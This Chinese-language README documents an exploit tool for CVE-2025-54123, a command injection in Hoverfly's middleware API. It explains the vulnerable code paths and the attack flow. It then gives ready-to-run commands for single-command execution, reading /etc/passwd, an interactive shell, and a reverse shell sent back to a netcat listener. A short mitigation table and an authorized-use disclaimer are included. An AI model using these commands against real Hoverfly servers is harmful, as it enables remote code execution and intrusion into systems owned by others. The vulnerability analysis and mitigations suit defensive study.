针对CVE-2025-54123的漏洞利用,这是Hoverfly中间件API中的经过身份验证的OS命令注入,提供仅检查、单命令、交互式shell和反向shell功能,用于授权安全测试。
| 属性 | 值 |
|---|
| CVE ID | CVE-2025-54123 |
| CVSS评分 | 9.8 — 严重 |
| CVSS向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (OS命令注入), CWE-20 (输入验证不当) |
| 产品 | Hoverfly — 开源API模拟工具 |
| 受影响版本 | 所有版本至1.11.3(含) |
| 修复版本 | 1.12.0 (补丁提交) |
| 安全公告 | GHSA-r4h8-hfp2-ggmf |
以下是从白盒与黑盒视角深入分析的案例研究和技术分析 https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a
Hoverfly暴露了一个RESTful管理API(默认端口8888)用于管理模拟配置。中间件管理端点**/api/v2/hoverfly/middleware**接受一个包含binary和script字段的JSON体,这些字段定义了外部中间件进程。
该漏洞源于三个代码层面的缺陷的组合:
输入验证不足 — middleware.go:93-96:SetBinary()函数接受binary参数时未进行任何验证或清洗,允许攻击者指定任意可执行文件(例如bash)。
不安全的命令执行 — local_middleware.go:14-19:中间件通过exec.Command()执行,攻击者控制的binary和script值直接作为参数传递,导致OS命令注入。
测试时立即执行 — hoverfly_service.go:173:当通过API设置中间件时,Hoverfly会立即执行该中间件进行测试,从而在配置时触发注入的命令,而不是在代理拦截时。
攻击者 Hoverfly (≤ 1.11.3)
│ │
│─── POST /api/token-auth ──────────────>│ (1) 认证
│<── { "token": "eyJ..." } ─────────────│
│ │
│─── PUT /api/v2/hoverfly/middleware ───>│ (2) 注入载荷
│ { "binary": "bash", │
│ "script": "<恶意命令>" } │
│ │
│ ┌──────────────────────────────────┐│
│ │ exec.Command("bash", tmpScript) ││ (3) 立即执行
│ │ → 攻击者命令以 ││
│ │ Hoverfly进程用户身份运行 ││
│ └──────────────────────────────────┘│
│ │
│<── 在错误响应中输出命令结果 ──────────│ (4) 窃取输出
│ │
admin / 可配置密码)git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt
验证目标可达性和身份验证,不进行利用:
python3 exploit.py -u http://target:8888 -U admin -P <password> -C
在目标上执行单个OS命令:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'
进入持久化Shell会话:
python3 exploit.py -u http://target:8888 -U admin -P <password> -i
向你的监听器发送反弹Shell:
# 终端1 — 启动监听器
nc -lvnp 4444
# 终端2 — 启动利用
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444
通过Burp Suite路由流量进行检查:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v
| 参数 | 描述 | 默认值 |
|---|---|---|
-u, --url | 目标Hoverfly URL | 必需 |
-U, --username | 管理员用户名 | 必需 |
-P, --password | 管理员密码 | 必需 |
-c, --command | 要执行的OS命令 | — |
-C, --check | 仅检查模式(不利用) | false |
-i, --interactive | 交互式伪Shell | false |
--revshell | 反弹Shell LHOST:LPORT | — |
--proxy | 通过127.0.0.1:8080路由 | false |
--timeout | 请求超时(秒) | 15 |
-v, --verbose | 启用详细输出 | false |
| 措施 | 详情 |
|---|---|
| 升级 | 将Hoverfly更新到v1.12.0或更高版本,其中设置中间件API默认禁用 |
| 网络分段 | 限制仅信任的网络访问Hoverfly管理API(端口8888) |
| 身份验证 | 为Hoverfly管理API使用强、唯一的密码 |
| 监控 | 监控对/api/v2/hoverfly/middleware的意外PUT请求 |
本工具仅供授权的安全测试和教育研究目的使用。 未经授权访问计算机系统违反《计算机欺诈与滥用法》(CFAA)及全球等效法律。作者不对该软件的滥用承担任何责任。在测试任何你不拥有的系统之前,务必获得明确的书面许可。
CVE-2025-54123/
├── Exploit/
│ ├── exploit.py # 精炼的漏洞利用
│ └── raw_exploit.py # 原始PoC
├── Images/ # 研究截图
├── Reference/ # 用于学习的参考漏洞利用
├── requirements.txt # Python依赖
└── README.md # 本文件
Phantom Hat — 安全研究员
本研究是作为教育目的漏洞案例研究的一部分进行的。